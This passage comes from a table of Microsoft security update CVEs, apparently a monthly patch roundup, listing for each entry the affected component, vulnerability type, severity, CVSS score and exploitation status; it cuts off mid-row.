CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  